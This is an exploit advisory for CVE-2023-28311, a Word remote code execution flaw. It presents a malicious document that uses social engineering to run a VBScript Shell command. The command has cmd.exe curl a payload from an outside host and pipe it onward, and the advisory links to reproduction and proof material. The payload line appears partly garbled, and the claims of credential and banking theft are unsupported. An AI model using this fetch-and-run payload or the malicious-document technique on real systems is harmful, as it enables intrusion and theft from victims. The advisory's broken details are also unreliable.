Microsoft Word appears to suffer from a remote code execution vulnerability when a user load a malicious file that reaches out to an attacker-controller server to get a hostile payload.
advisories | CVE-2023-28311
## Title: Microsoft Word Remote Code Execution Vulnerability
## Author: nu11secur1ty
## Date: 04.14.2023
## Vendor: https://www.microsoft.com/
## Software:
https://www.microsoft.com/en-us/microsoft-365/word?activetab=tabs%3afaqheaderregion3
## Reference:
https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/
## CVE-2023-28311
## Description:
The attack itself is carried out locally by a user with authentication to
the targeted system. An attacker could exploit the vulnerability by
convincing a victim, through social engineering, to download and open a
specially crafted file from a website which could lead to a local attack on
the victim's computer. The attacker can trick the victim to open a
malicious web page by using a `Word` malicious file and he can steal
credentials, bank accounts information, sniffing and tracking all the
traffic of the victim without stopping - it depends on the scenario and etc.
STATUS: HIGH Vulnerability
[+]Exploit:
The exploit server must be BROADCASTING at the moment when the victim hit
the button of the exploit!
```vbs
Call Shell("cmd.exe /S /c" & "curl -s
http://tarator.com/ChushkI/ebanie.tarator | tarator", vbNormalFocus)
```
## Reproduce:
[href](
https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-28311)
## Reference:
[href](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28311)
[href](
https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/)
## Proof and Exploit
[href](https://streamable.com/s60x3k)
## Time spend:
01:00:00
